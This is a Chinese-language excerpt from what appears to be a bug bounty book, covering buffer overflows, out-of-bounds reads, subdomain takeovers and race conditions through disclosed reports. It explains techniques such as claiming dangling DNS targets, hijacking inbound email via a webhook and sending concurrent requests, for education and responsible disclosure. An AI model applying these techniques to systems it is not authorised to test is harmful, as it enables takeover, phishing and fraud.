在执行任何 C 或 C++中的动态操作之前,开发人员必须确保为该操作分配了足够的内存。例如,假设你正在编写一个动态银行应用程序,允许用户导入交易记录。当应用程序运行时,你无法预知用户会导入多少交易记录。有人可能只导入一条记录,也有人可能导入一千条。在没有内存管理的语言中,你必须检查导入的交易记录数,然后为它们分配适当的内存。当开发人员没有考虑到为应用程序分配所需的内存时,就可能发生如缓冲区溢出之类的错误。
查找和利用内存漏洞是复杂的,关于这个主题已经写了整本书。因此,本章仅通过介绍其中两种内存漏洞——缓冲区溢出和越界读取漏洞——来简要介绍该主题。如果你有兴趣深入了解,建议阅读 Jon Erickson 的《Hacking: The Art of Exploitation》或 Tobias Klein 的《A Bug Hunter’s Diary: A Guided Tour Through the Wilds of Software Security》;这两本书都可以在 No Starch Press 购买。
缓冲区溢出
缓冲区溢出漏洞是指应用程序写入的数据超过了为该数据分配的内存(即缓冲区)。缓冲区溢出会导致程序行为不可预测,最严重的情况下还可能导致严重的安全漏洞。当攻击者能够控制溢出并执行他们自己的代码时,他们可能会危及应用程序,甚至根据用户权限,危及服务器。这种漏洞类似于第十二章中的 RCE 示例。
缓冲区溢出通常发生在开发者忘记检查写入变量的数据大小时。当开发者计算数据所需内存时出错,也可能发生溢出。由于这些错误可能通过多种方式发生,我们这里只检查其中一种——缺少长度检查。在 C 语言中,缺少长度检查通常涉及会改变内存的函数,如strcpy()和memcpy()。但这些检查也可能发生在开发者使用内存分配函数时,如malloc()或calloc()。strcpy()(和memcpy())函数有两个参数:一个用于复制数据的缓冲区和要复制的数据。以下是 C 语言中的一个例子:
#include <string.h>
int main()
{
➊ char src[16]="hello world";
➋ char dest[16];
➌ strcpy(dest, src);
➍ printf("src is %s\n", src);
printf("dest is %s\n", dest);
return 0;
}
在这个例子中,字符串src ➊被设置为字符串"hello world",它的长度是 11 个字符,包括空格。此代码为src和dest ➋分配了 16 个字节(每个字符 1 个字节)。因为每个字符需要 1 个字节的内存,并且字符串必须以空字节(\0)结尾,"hello world"字符串总共需要 12 个字节,这在 16 字节的分配范围内。接着,strcpy()函数将src中的字符串复制到dest ➌。在➍处的printf语句输出如下:
src is hello world
dest is hello world
这段代码按预期工作,但如果有人真的想强调这个问候语呢?考虑这个例子:
#include <string.h>
#include <stdio.h>
int main()
{
➊ char src[17]="hello world!!!!!";
➋ char dest[16];
➌ strcpy(dest, src);
printf("src is %s\n", src);
printf("dest is %s\n", dest);
return 0;
}
在这里,添加了五个感叹号,使得字符串的总字符数达到了 16 个。开发者记得所有字符串在 C 语言中必须以空字节(\0)结尾。他们为src ➊分配了 17 个字节,但忘记为dest ➋做相同的操作。在编译并运行程序后,开发者将看到如下输出:
src is
dest is hello world!!!!!
尽管src变量被赋值为'hello world!!!!!',但它为空。这是因为 C 语言是如何分配栈内存的。栈内存地址是递增分配的,所以程序中较早定义的变量会拥有比后面定义的变量更低的内存地址。在这个例子中,src被加入到内存栈中,接着是dest。当溢出发生时,17 个字符的'hello world!!!!!!'被写入到dest变量中,但字符串的空字节(\0)溢出到src变量的第一个字符处。因为空字节表示字符串的结束,src就显得是空的。
图 13-1 展示了每行代码从 ➊ 到 ➌ 执行时栈的状态。

图 13-1:内存如何从 dest 溢出到 src
在图 13-1 中,src被加入栈中并为该变量分配了 17 个字节,图中从 0 ➊开始标注。接着,dest被加入栈中,但只分配了 16 个字节 ➋。当src被复制到dest时,本应存储在dest中的最后一个字节溢出到src的第一个字节(字节 0) ➌。这使得src的第一个字节变成了空字节。
如果你在src中再添加一个感叹号,并将长度更新为 18,输出将如下所示:
src is !
dest is hello world!!!!!
dest变量只会保存'hello world!!!!!',最后的感叹号和空字节将溢出到src。这将使src看起来仿佛只包含了字符串'!'。图 13-1➌中的内存将发生变化,变得像图 13-2 那样。

图 13-2:两个字符从 dest 溢出到 src
但是,如果开发者忘记了空字节并使用了字符串的确切长度,情况会怎样呢?
#include <string.h>
#include <stdio.h>
int main ()
{
char ➊src [12]="hello world!";
char ➋dest[12];
strcpy(dest, src);
printf("src is %s\n", src);
printf("dest is %s\n", dest);
return 0;
}
开发者在不考虑空字节的情况下计算字符串中的字符数,并在➊和➋位置分别为src和dest字符串分配 12 个字节。程序的其余部分将src字符串复制到dest中并打印结果,像之前的程序那样。假设开发者在 64 位处理器上运行这段代码。
由于在之前的示例中空字节溢出到dest,你可能会认为src会变成一个空字符串。但程序的输出将如下所示:
src is hello world!
dest is hello world!
在现代的 64 位处理器上,这段代码不会引起意外行为或缓冲区溢出。64 位机器上的最小内存分配是 16 字节(由于内存对齐设计,超出了本书的讨论范围)。在 32 位系统中,是 8 字节。由于hello world!只需要 13 字节,包括空字节,因此它不会溢出为dest变量分配的最小 16 字节。
越界读取
相比之下,越界读取漏洞可以让攻击者读取超出内存边界的数据。这个漏洞发生在应用程序读取了给定变量或操作的过多内存时。越界读取可能会泄露敏感信息。
一个著名的越界读取漏洞是OpenSSL Heartbleed 漏洞,它在 2014 年 4 月被披露。OpenSSL 是一个软件库,它允许应用程序服务器通过网络安全地进行通信,不用担心窃听者。通过 OpenSSL,应用程序可以识别通信对端的服务器。Heartbleed 允许攻击者在通信过程中读取任意数据,比如服务器的私钥、会话数据、密码等等,通过 OpenSSL 的服务器标识过程。
这个漏洞利用了 OpenSSL 的心跳请求功能,该功能向服务器发送消息,然后服务器返回相同的消息给请求者,以验证两台服务器的通信。心跳请求可能包含一个长度参数,而这个参数正是导致漏洞的因素。易受攻击的 OpenSSL 版本会根据请求中发送的长度参数分配内存给服务器的返回消息,而不是根据实际需要回显的消息大小。
因此,攻击者可以通过发送一个包含大长度参数的心跳请求来利用 Heartbleed 漏洞。假设一条消息是 100 字节,而攻击者发送了 1000 字节作为消息的长度。任何攻击者将此消息发送到的易受攻击的服务器都会读取预定的 100 字节消息以及另外 900 字节的任意内存。包括在这些任意数据中的信息取决于易受攻击服务器在处理请求时的运行进程和内存布局。
PHP ftp_genlist() 整数溢出
难度: 高
网址: 不适用
来源: bugs.php.net/bug.php?id=69545/
报告日期: 2015 年 4 月 28 日
悬赏金额: $500
管理内存的编程语言并非免疫于内存漏洞。尽管 PHP 自动管理内存,但该语言是用 C 编写的,而 C 确实需要手动管理内存。因此,内建的 PHP 函数可能会受到内存漏洞的影响。正如 Max Spelsberg 发现 PHP FTP 扩展中的缓冲区溢出问题一样。
PHP 的 FTP 扩展会读取传入的数据,如文件,来跟踪ftp_genlist()函数接收的数据大小和行数。大小和行数的变量被初始化为无符号整数。在 32 位机器上,无符号整数的最大内存分配为 2³²字节(4,294,967,295 字节或 4GB)。因此,如果攻击者发送超过 2³²字节的数据,缓冲区将发生溢出。
作为概念验证的一部分,Spelsberg 提供了 PHP 代码来启动 FTP 服务器以及 Python 代码来连接到该服务器。连接建立后,他的 Python 客户端通过套接字连接向 FTP 服务器发送了 2³² + 1 字节的数据。由于 Spelsberg 覆盖了内存,类似于前面讨论的缓冲区溢出例子,PHP FTP 服务器崩溃了。
要点
缓冲区溢出是一种众所周知且有详尽文档记录的漏洞类型,但你仍然可以在那些自行管理内存的应用程序中发现它们。即使你测试的应用程序不是用 C 或 C++编写的,如果应用程序是用其他可能容易出现内存管理错误的语言编写的,你仍然可能发现缓冲区溢出。在这种情况下,检查是否有遗漏的变量长度检查。
Python Hotshot 模块
难度: 高
网址: 不适用
来源: bugs.python.org/issue24481
报告日期: 2015 年 6 月 20 日
悬赏金额: $500
像 PHP 一样,Python 编程语言传统上是用 C 语言编写的。事实上,有时它被称为 CPython(也存在其他用不同语言编写的 Python 版本,包括 Jython、PyPy 等)。Python 的 hotshot 模块是现有 Python profile 模块的替代品。hotshot 模块描述了程序各个部分执行的频率和持续时间。由于 hotshot 是用 C 语言编写的,它的性能影响比现有的 profile 模块更小。但在 2015 年 6 月,John Leitch 发现代码中存在缓冲区溢出漏洞,攻击者可以将一个字符串从一个内存位置复制到另一个位置。
脆弱的代码调用了memcpy()方法,它将指定数量的内存字节从一个位置复制到另一个位置。例如,脆弱的代码可能看起来像下面这样:
memcpy(self->buffer + self->index, s, len);
memcpy() 方法接受三个参数:目标、源和要复制的字节数。在这个例子中,这些值分别是变量 self->buffer + self->index(缓冲区和索引长度的总和)、s 和 len。
self->buffer 目标变量的长度始终是固定的。但 s,源变量的长度可能是任意的。这意味着,在执行复制函数时,memcpy() 并不会验证它写入的缓冲区的大小。攻击者可以将比分配的字节数更长的字符串传递给该函数。该字符串会被写入目标并溢出,因此它会继续写入超出预定缓冲区的内存。
要点
查找缓冲区溢出的一种方法是查找函数strcpy()和memcpy()。如果找到了这些函数,请验证它们是否进行了适当的缓冲区长度检查。你需要从找到的代码开始向后追溯,以确认你能够控制源和目标,进而溢出分配的内存。
Libcurl 读取越界
Difficulty: 高
URL: N/A
Source: curl.haxx.se/docs/adv_20141105.html
Date reported: 2014 年 11 月 5 日
Bounty paid: $1,000
Libcurl 是一个免费的客户端 URL 传输库,cURL 命令行工具使用它来传输数据。Symeon Paraschoudis 发现了 libcurl curl_easy_duphandle 函数中的一个漏洞,该漏洞可能被利用来外泄敏感数据。
在使用 libcurl 进行传输时,你可以通过 CURLOPT_POSTFIELDS 标志传递数据进行 POST 请求。但执行此操作并不保证数据在操作过程中保持不变。为了确保数据在通过 POST 请求发送时不被更改,另一个标志 CURLOPT_COPYPOSTFIELDS 会复制数据的内容,并将副本与 POST 请求一起发送。内存区域的大小通过另一个名为 CURLOPT_POSTFIELDSIZE 的变量来设置。
为了复制数据,cURL 会分配内存。但复制数据的内部 libcurl 函数有两个问题:首先,错误地复制 POST 数据会导致 libcurl 将 POST 数据缓冲区视为 C 字符串。libcurl 会假设 POST 数据以空字节结尾。当数据没有以空字节结尾时,libcurl 会继续读取字符串,直到它找到空字节,这可能导致 libcurl 复制一个太小(如果空字节出现在 POST 主体中间)、太大的字符串,或者可能导致应用崩溃。其次,在复制数据后,libcurl 没有更新它应该读取数据的位置。这个问题出现在:在 libcurl 复制数据和读取数据之间,内存可能已经被清除或重新用于其他目的。如果发生了这些事件,位置可能包含一些不应该被发送的数据。
重点总结
cURL 工具是一个非常流行且稳定的库,用于通过网络传输数据。尽管它很受欢迎,但仍然存在一些 bug。任何涉及复制内存的功能都是寻找内存 bug 的好地方。与其他内存相关的问题一样,越界读取漏洞很难发现。但是,如果你从查找常见的易受攻击函数开始,你更有可能找到 bug。
总结
内存漏洞可能允许攻击者读取泄露的数据或运行他们自己的代码,但这些漏洞很难被发现。现代编程语言较少受到内存漏洞的影响,因为它们会处理自己的内存分配。但使用需要开发者手动分配内存的编程语言编写的应用程序仍然容易受到内存 bug 的影响。要发现内存漏洞,你需要了解内存管理,这可能是复杂的,甚至可能依赖于硬件。如果你想搜索这些类型的漏洞,我建议你还阅读一些专门研究这个话题的书籍。
第十四章:子域接管**

子域接管漏洞发生在恶意攻击者能够从一个合法站点获取子域名时。一旦攻击者控制了该子域名,他们就可以提供自己的内容或拦截流量。
理解域名
要理解子域接管漏洞是如何工作的,我们首先需要了解域名的注册和使用方式。域名是访问网站的 URL,它们通过域名系统(DNS)映射到 IP 地址。域名是以层级结构组织的,每一部分由一个句点分隔。域名的最后一部分——最右边的部分——是顶级域名。顶级域名的例子包括.com、.ca、.info等。域名层级中的上一级是人们或公司注册的域名。这个层级部分用于访问网站。例如,假设
网站所有者可以使用多种方法创建子域名,但最常见的两种方法是向网站的 DNS 记录中添加 A 记录或 CNAME 记录。A 记录将站点名称映射到一个或多个 IP 地址。CNAME应该是一个唯一的记录,将站点名称映射到另一个站点名称。只有站点管理员才能为站点创建 DNS 记录(当然,除非你发现了漏洞)。
子域接管是如何工作的
当用户可以控制 A 记录或 CNAME 记录指向的 IP 地址或 URL 时,就会发生子域接管。这个漏洞的常见示例涉及到网站托管平台 Heroku。在一个典型的工作流程中,网站开发人员创建一个新应用并将其托管在 Heroku 上。然后,开发人员为其主站点的子域创建一个 CNAME 记录,并将该子域指向 Heroku。以下是一个可能出现问题的假设示例:
-
Example 公司在 Heroku 平台上注册了一个账户,但没有使用 SSL。
-
Heroku 为 Example 公司分配了子域名unicorn457.herokuapp.com来托管其新应用。
-
Example 公司在其 DNS 提供商处创建了一个 CNAME 记录,将子域名test.
.com 指向unicorn457.herokuapp.com。 -
几个月后,Example 公司决定删除其test.
.com 子域名。它关闭了 Heroku 账户并删除了服务器上的站点内容,但它没有删除 CNAME 记录。 -
一个恶意的人注意到 CNAME 记录指向 Heroku 上一个未注册的 URL,并声明域名 unicorn457.heroku.com。
-
攻击者现在可以从 test.
.com 提供他们自己的内容,由于 URL 的缘故,这看起来像是一个合法的 Example Company 网站。
如你所见,这种漏洞通常发生在一个网站没有删除指向攻击者可以控制的外部网站的 CNAME(或 A 记录)时。与子域接管相关的常见外部服务包括 Zendesk、Heroku、GitHub、Amazon S3 和 SendGrid。
子域接管的影响取决于子域和父域的配置。例如,在“Web Hacking Pro Tips #8” (www.youtube.com/watch?v=76TIDwaxtyk) 中,Arne Swinnen 描述了如何限定 cookies,使得浏览器只将存储的 cookies 发送到适当的域。但也可以通过仅将子域指定为一个点(如 .
另外,如果这些 cookies 没有这样被限定,恶意攻击者仍然可以在子域上创建一个模仿父域的网站。如果攻击者在子域上放置一个登录页面,他们可能会钓鱼用户提交其凭据。子域接管使得两种常见的攻击成为可能。但在以下示例中,我们还将探讨其他攻击方式,如电子邮件拦截。
查找子域接管漏洞需要查阅网站的 DNS 记录。一个很好的方法是使用 KnockPy 工具,它列举子域并搜索来自像 S3 这样的服务的常见子域接管相关错误消息。KnockPy 带有一份常见子域的测试列表,但你也可以提供自己的子域列表。GitHub 仓库 SecLists (github.com/danielmiessler/SecLists/) 也列出了在其众多与安全相关的列表中常见的子域。
Ubiquiti 子域接管
难度: 低
URL: http://assets.goubiquiti.com/
来源: hackerone.com/reports/109699/
报告日期: 2016 年 1 月 10 日
赏金支付: $500
Amazon Simple Storage(简称 S3)是由 Amazon Web Services(AWS)提供的文件托管服务。在 S3 上的账户是一个 桶,你可以通过一个特殊的 AWS URL 访问它,该 URL 以桶名开头。Amazon 为其桶的 URL 使用全球命名空间,这意味着一旦有人注册了一个桶,其他人就无法再注册它。例如,如果我注册了桶
在本报告中,Ubiquiti 创建了一个 CNAME 记录,将 assets.goubiquiti.com 指向 S3 桶 uwn-images。该桶可以通过 URL uwn-images.s3.website.us-west-1.amazonaws.com 访问。由于 Amazon 在全球拥有服务器,URL 中包含有关该桶所在的 Amazon 地理区域的信息。在本例中,us-west-1 是指北加利福尼亚。
但是 Ubiquiti 要么没有注册该桶,要么已经将其从 AWS 账户中移除,但忘记删除 CNAME 记录。因此,访问 assets.goubiquiti.com 仍会尝试从 S3 提供内容。结果,黑客声明了该 S3 桶,并向 Ubiquiti 报告了这个漏洞。
要点
注意检查指向第三方服务如 S3 的 DNS 记录。当你发现此类记录时,确认该公司是否已正确配置该服务。除了对网站的 DNS 记录进行初步检查外,你还可以使用像 KnockPy 这样的自动化工具持续监控记录和服务。最好这样做,以防公司删除了子域名但忘记更新其 DNS 记录。
Scan.me 指向 Zendesk
难度: 低
来源: hackerone.com/reports/114134/
报告日期: 2016 年 2 月 2 日
赏金支付: $1,000
Zendesk 平台在网站的子域名上提供客户支持服务。例如,如果 Example 公司使用 Zendesk,其相关的子域名可能是 support.
类似于之前的 Ubiquiti 示例,scan.me 网站的所有者创建了一个 CNAME 记录,将 support.scan.me 指向 scan.zendesk.com。后来,Snapchat 收购了 scan.me。在收购时,support.scan.me 将子域名发布到 Zendesk,但忘记删除 CNAME 记录。黑客 harry_mg 找到了这个子域名,声明了 scan.zendesk.com,并通过 Zendesk 在其上提供了自己的内容。
要点
关注公司收购情况,因为这可能会改变公司提供服务的方式。在母公司与收购公司之间进行优化时,一些子域可能会被删除。如果公司没有更新 DNS 记录,可能会导致子域接管。由于子域随时可能发生变化,最佳做法是在公司宣布收购后,持续检查记录。
Shopify Windsor 子域接管
难度: 低
网址: http://windsor.shopify.com/
来源: hackerone.com/reports/150374/
报告日期: 2016 年 7 月 10 日
赏金支付:$500
并非所有子域接管都涉及在第三方服务上注册账户。2016 年 7 月,黑客 zseano 发现 Shopify 为windsor.shopify.com创建了一个 CNAME 记录,指向aislingofwindsor.com。他通过在网站crt.sh上搜索所有 Shopify 的子域发现了这一点,crt.sh跟踪了所有由网站注册的 SSL 证书以及证书关联的子域。这些信息之所以能够公开,是因为所有 SSL 证书都必须向证书授权机构注册,以便浏览器在你访问网站时验证证书的真实性。crt.sh网站随时间跟踪这些注册,并将信息提供给访问者。网站还可以注册通配符证书,提供 SSL 保护给该网站的任何子域。在crt.sh上,这通过在子域位置放置一个星号表示。
当一个网站注册通配符证书时,crt.sh(http://crt.sh)无法识别该证书使用的子域,但每个证书都包含一个唯一的哈希值。另一个网站censys.io通过扫描互联网跟踪证书哈希值及其使用的子域。通过在censys.io上搜索通配符证书哈希值,可能会帮助你识别新的子域。
通过浏览crt.sh上的子域列表并访问每个子域,zseano 注意到windsor.shopify.com返回了 404 页面未找到的错误。这意味着 Shopify 要么没有从该子域提供内容,要么它不再拥有aislingofwindsor.com。测试后者时,zseano 访问了一个域名注册网站,搜索了aislingofwindsor.com,并发现可以以$10 的价格购买该域名。他购买了该域名,并将这一漏洞报告给了 Shopify,作为子域接管漏洞。
要点总结
并非所有子域名都涉及使用第三方服务。如果你发现某个子域名指向另一个域名并返回 404 页面,请检查是否能够注册该域名。网站crt.sh提供了一个很好的参考,列出了通过网站注册的 SSL 证书,可以作为识别子域名的初步步骤。如果通配符证书已在crt.sh注册,可以在censys.io上搜索证书哈希。
Snapchat 快速接管事件
难度: 中等
URL: http://fastly.sc-cdn.net/takeover.html
来源: hackerone.com/reports/154425/
报告日期: 2016 年 7 月 27 日
悬赏金额: $3,000
Fastly 是一个内容分发网络(CDN)。CDN 将内容的副本存储在全球各地的服务器上,这样可以为请求内容的用户提供更短的传输时间和距离。
2016 年 7 月 27 日,黑客 Ebrietas 向 Snapchat 报告称,其域名sc-cdn.net存在 DNS 配置错误。URL http://fastly.sc-cdn.net 有一个 CNAME 记录,指向一个 Snapchat 没有正确声明的 Fastly 子域名。当时,Fastly 允许用户在加密其流量并使用 Fastly 共享的通配符证书时,注册自定义子域名。错误配置自定义子域名会导致该域名出现错误信息,显示“Fastly 错误:未知域名:
在报告该漏洞之前,Ebrietas 在censys.io上查找了域名sc-cdn.net,并通过该域名 SSL 证书的注册信息确认了 Snapchat 对该域名的所有权。这一点很重要,因为域名sc-cdn.net并没有像snapchat.com那样明确包含 Snapchat 的任何标识信息。他还配置了一个服务器来接收来自该 URL 的流量,以确认该域名确实在使用中。
在解决报告时,Snapchat 确认,只有极少数用户使用了旧版本的应用程序,这些用户会向该子域名请求未认证的内容。随后,这些用户的配置被更新,并指向了另一个 URL。理论上,攻击者可能在该短暂时间内通过该子域名向用户提供恶意文件。
要点总结
注意观察指向返回错误消息的服务的网站。当你发现错误时,通过阅读它们的文档确认这些服务是如何使用的。然后检查你是否能找到 misconfigurations(配置错误),从而能够接管子域名。此外,始终做额外的确认步骤,以验证你认为是漏洞的部分。在这种情况下,Ebrietas 查找了 SSL 证书信息,确认 Snapchat 拥有该域名,然后报告。在此之后,他配置了自己的服务器来接收请求,确保 Snapchat 使用该域名。
Legal Robot 接管
难度: 中等
网址: https://api.legalrobot.com/
来源: hackerone.com/reports/148770/
报告日期: 2016 年 7 月 1 日
支付赏金: $100
即使网站在第三方服务上正确配置了其子域名,这些服务本身也可能存在配置错误的漏洞。这正是 Frans Rosen 在 2016 年 7 月 1 日发现的,当时他向 Legal Robot 提交了一份报告。他通知公司,他有一个指向 Modulus.io 的 api.legalrobot.com 的 DNS CNAME 记录,而他能够接管这个子域名。
正如你现在可能已经意识到的,看到这样的错误页面后,黑客的下一步应该是访问该服务以声明子域名。但是,尝试声明 api.legalrobot.com 时发生了错误,因为 Legal Robot 已经声明了该域名。
Rosen 没有放弃,而是尝试为 Legal Robot 声明通配符子域名 .legalrobot.com,该子域名可用。Modulus 的配置允许通配符子域名覆盖更具体的子域名,在这种情况下包括 api.legalrobot.com。在声明了通配符域名之后,Rosen 能够在 api.legalrobot.com 上托管自己的内容,如图 14-1 所示。

图 14-1:HTML 页面源代码,作为 Frans Rosen 声称的子域名接管的概念验证
请注意 Rosen 在图 14-1 中托管的内容。与发布一页尴尬的页面声明子域名已被接管不同,他使用了一页非侵入性的文本页面,并通过 HTML 注释确认他对该内容负责。
要点
当网站依赖第三方服务来托管子域名时,他们也在依赖该服务的安全性。在这种情况下,Legal Robot 认为它已正确地在 Modulus 上声明了其子域名,但实际上该服务存在一个漏洞,允许通配符子域名覆盖所有其他子域名。还需要记住的是,如果你能够声明一个子域名,最好使用非侵入性的概念验证方式,以避免让你报告的公司感到尴尬。
Uber SendGrid 邮件接管
难度: 中等
来源: hackerone.com/reports/156536/
报告日期: 2016 年 8 月 4 日
支付赏金: $10,000
SendGrid 是一项基于云的电子邮件服务。在撰写本文时,Uber 是其客户之一。当黑客 Rojan Rijal 审查 Uber 的 DNS 记录时,他注意到 em.uber.com 的 CNAME 记录指向 SendGrid。
因为 Uber 有一个 SendGrid CNAME,Rijal 决定深入了解该服务,确认 Uber 是如何配置的。他的第一步是确认 SendGrid 提供的服务以及是否允许内容托管。结果并不允许。深入查看 SendGrid 的文档后,Rijal 发现了一个名为白标(white labeling)的选项。白标是一种功能,允许互联网服务提供商确认 SendGrid 已获得某个域名的许可,代表该域名发送电子邮件。这种许可是通过为指向 SendGrid 的站点创建 邮件交换器 (MX) 记录来授予的。MX 记录是一种 DNS 记录,指定一个负责代表域名发送和接收电子邮件的邮件服务器。接收方邮件服务器和服务会查询 DNS 服务器获取这些记录,以验证邮件的真实性并防止垃圾邮件。
白标功能引起了 Rijal 的注意,因为它涉及到信任一个第三方服务提供商来管理 Uber 的子域名。当 Rijal 审查 em.uber.com 的 DNS 记录时,他确认一个 MX 记录指向 mx.sendgrid.net。但只有站点所有者才能创建 DNS 记录(假设没有其他漏洞可被利用),因此 Rijal 无法直接修改 Uber 的 MX 记录来接管该子域名。于是,他转向了 SendGrid 的文档,其中描述了另一个名为 Inbound Parse Webhook 的服务。该服务允许客户解析传入邮件的附件和内容,然后将附件发送到指定的 URL。要使用该功能,站点需要:
-
创建一个域名/主机名或子域名的 MX 记录,并将其指向 mx.sendgrid.net。
-
将域名/主机名和解析 API 设置页面中的 URL 与 Inbound Parse Webhook 关联。
成功了。Rijal 已经确认 MX 记录存在,但 Uber 没有完成第二步。Uber 没有将 em.uber.com 子域名注册为 Inbound Parse Webhook。Rijal 将该域名注册为自己的,并设置了一个服务器来接收 SendGrid 解析 API 发送的数据。在确认他可以接收到邮件后,他停止拦截这些邮件并将问题报告给了 Uber 和 SendGrid。作为修复的一部分,SendGrid 确认它已增加了额外的安全检查,要求帐户在允许 Inbound Parse Webhook 之前验证其域名。因此,这项安全检查应该能保护其他网站免受类似的漏洞利用。
总结
本报告展示了第三方文档的价值。通过阅读开发者文档,了解 SendGrid 提供的服务,并识别这些服务的配置方式,Rijal 找到了影响 Uber 的第三方服务漏洞。当目标网站使用第三方服务时,深入探索这些服务提供的所有功能至关重要。EdOverflow 维护着一个脆弱服务的列表,你可以在 github.com/EdOverflow/can-i-take-over-xyz/ 找到这个列表。但即使他的列表标识某个服务为受保护的,也要确保再三检查,或像 Rijal 一样寻找替代方法。
总结
子域名接管通常是由一个未被认领的 DNS 记录指向第三方服务导致的。本章中的例子包括 Heroku、Fastly、S3、Zendesk、SendGrid 以及未注册的域名,但其他服务也可能受到此类漏洞的影响。你可以使用像 KnockPy、crt.sh 和 censys.io 这样的工具,以及 附录 A 中的其他工具,来发现这些漏洞。
管理接管可能需要额外的创意,比如当 Rosen 声明了一个通配符域名,而 Rijal 注册了一个自定义 webhook 时。当你发现一个潜在漏洞,但基本的利用方法不起作用时,一定要阅读服务文档。此外,不论目标网站是否正在使用某项功能,都要探索该服务提供的所有功能。当你确实找到一个接管漏洞时,确保提供漏洞的证据,但要以尊重和不打扰的方式进行。
第十五章:竞态条件**

竞态条件 是指当两个进程竞争完成时,基于一个在执行过程中变得无效的初始条件。一个经典的例子是银行账户之间的转账:
-
你的银行账户里有$500,你需要将这笔钱全部转账给一个朋友。
-
使用你的手机,你登录到银行应用并请求向你的朋友转账$500。
-
10 秒后,转账请求仍在处理。于是你在笔记本上登录银行网站,看到余额仍然是$500,然后再次请求转账。
-
笔记本和手机的请求在几秒钟内完成。
-
你的银行账户现在是$0。
-
你的朋友发信息告诉你他收到了$1,000。
-
你刷新了账户页面,余额仍然是$0。
尽管这是一个不现实的竞态条件示例,因为(希望)所有银行都能防止资金凭空出现,但这个过程代表了大体的概念。步骤 2 和步骤 3 中的转账条件是,你的账户中有足够的资金来发起转账。但账户余额只会在每次转账过程开始时进行验证。当转账执行时,初始条件已经不再有效,但两个过程仍然完成。
当你拥有快速的互联网连接时,HTTP 请求似乎是瞬时完成的,但请求的处理仍然需要时间。当你登录到一个网站时,你发送的每个 HTTP 请求都必须经过接收网站的重新身份验证;此外,网站还必须加载完成请求所需的数据。竞态条件可能发生在 HTTP 请求完成这两个任务的时间内。以下是一些在 Web 应用程序中发现的竞态条件漏洞示例。
多次接受 HackerOne 邀请
难度: 低
网址: hackerone.com/invitations/<INVITE_TOKEN>/
来源: hackerone.com/reports/119354/
报告日期: 2016 年 2 月 28 日
奖励支付: 纪念品
当你在进行黑客攻击时,要注意你的操作是否依赖于某个条件。寻找那些看起来会执行数据库查找、应用程序逻辑以及更新数据库的操作。
2016 年 2 月,我正在测试 HackerOne 以寻找未授权访问程序数据的漏洞。添加黑客到程序和成员到团队的邀请功能引起了我的注意。
尽管邀请系统已经发生变化,但在我进行测试时,HackerOne 会通过电子邮件发送唯一的邀请链接,而这些链接并不与接收者的电子邮件地址相关联。任何人都可以接受邀请,但该邀请链接只能被接受一次,并且只能由一个账户使用。
作为漏洞猎人,我们无法看到网站接受邀请的实际过程,但我们仍然可以猜测应用程序的工作原理,并利用我们的假设来查找漏洞。HackerOne 使用了一种类似令牌的链接来发送邀请。因此,很可能应用程序会在数据库中查找该令牌,基于数据库中的条目添加一个账户,然后更新数据库中的令牌记录,防止该链接再次被使用。
这种工作流程可能会因两种原因导致竞态条件。首先,查找记录然后根据代码逻辑对记录执行操作的过程会产生延迟。查找是启动邀请过程的前提条件。如果应用程序代码较慢,两个几乎同时发出的请求可能都能执行查找并满足执行条件。
其次,更新数据库记录可能会在条件与修改该条件的操作之间产生延迟。例如,更新记录需要在数据库表中查找要更新的记录,这需要时间。
为了测试是否存在竞态条件,我除了我的主 HackerOne 账户外,还创建了第二个和第三个账户(我将这些账户称为用户 A、B 和 C)。作为用户 A,我创建了一个程序并邀请了用户 B。然后我退出了用户 A 的账户。我作为用户 B 收到邀请邮件,并在浏览器中登录该账户。我在另一个私人浏览器中以用户 C 的身份登录,并打开了相同的邀请链接。
接下来,我将两个浏览器和邀请接受按钮排成几乎重叠的样子,如图 15-1 所示。

图 15-1:两个堆叠的浏览器窗口显示相同的 HackerOne 邀请
然后,我尽可能快速地点击了两个接受按钮。第一次尝试没有成功,这意味着我必须重新执行该过程。但第二次尝试成功了,我设法通过一个邀请将两个用户添加到一个程序中。
要点
在某些情况下,你可以手动测试竞态条件——尽管你可能需要调整工作流程,以便尽可能快速地执行操作。在这种情况下,我可以将按钮并排放置,这使得该漏洞得以利用。在需要执行复杂步骤的情况下,你可能无法使用手动测试。相反,你可以自动化测试,以便几乎同时执行操作。
超出 Keybase 邀请限制
难度: 低
URL: https://keybase.io/_/api/1.0/send_invitations.json/
来源: hackerone.com/reports/115007/
报告日期: 2015 年 2 月 5 日
奖励金额: $350
寻找竞态条件的情况通常发生在网站限制你可以执行的操作次数时。例如,安全应用 Keybase 限制了允许注册的用户数,提供了三次邀请给已注册的用户。如前所述,黑客可能猜测 Keybase 如何限制邀请:很可能,Keybase 收到邀请其他用户的请求后,会检查数据库确认用户是否还有剩余邀请次数,生成一个令牌,发送邀请邮件,并减少该用户剩余的邀请次数。Josip Franjković 认识到这种行为可能会受到竞态条件的影响。
Franjković 访问了 keybase.io/account/invitations/ 网址,在那里他可以发送邀请、输入电子邮件地址并同时提交多个邀请。与 HackerOne 的邀请竞态条件不同,手动发送多个邀请会很困难,因此 Franjković 很可能使用了 Burp Suite 来生成邀请的 HTTP 请求。
使用 Burp Suite,你可以将请求发送到 Burp Intruder,这允许你在 HTTP 请求中定义插入点。你可以为每个 HTTP 请求指定负载并将负载添加到插入点。在这个案例中,如果 Franjković 使用了 Burp,他会将多个电子邮件地址作为负载,并让 Burp 同时发送每个请求。
结果,Franjković 成功绕过了三人用户限制,邀请了七名用户访问该网站。Keybase 在解决问题时确认了设计缺陷,并通过使用 锁 来解决了该漏洞。锁是一种编程概念,用于限制对资源的访问,防止其他进程访问这些资源。
要点
在此案例中,Keybase 接受了邀请竞态条件,但并非所有的漏洞奖励计划都会为那些影响较小的漏洞支付奖励,正如在 “多次接受 HackerOne 邀请” 一节中所展示的,在 第 150 页。
HackerOne 支付竞态条件
难度: 低
网址: 不适用
来源: 未公开
报告日期: 2017 年 4 月 12 日
赏金支付: $1,000
一些网站会根据你与它们的互动来更新记录。例如,当你在 HackerOne 上提交报告时,提交会触发发送给团队的电子邮件,进而触发更新该团队的统计数据。
但是有些操作,比如支付,并不会立即响应 HTTP 请求。例如,HackerOne 使用 后台任务 来为像 PayPal 这样的支付服务创建资金转账请求。后台任务通常是批量处理的,由某个触发条件启动。当网站需要处理大量数据时,通常会使用后台任务,它们独立于用户的 HTTP 请求。这意味着,当一个团队向你颁发悬赏时,团队会在你的 HTTP 请求处理完后立即收到支付凭证,但资金转账会被加入到后台任务中,稍后完成。
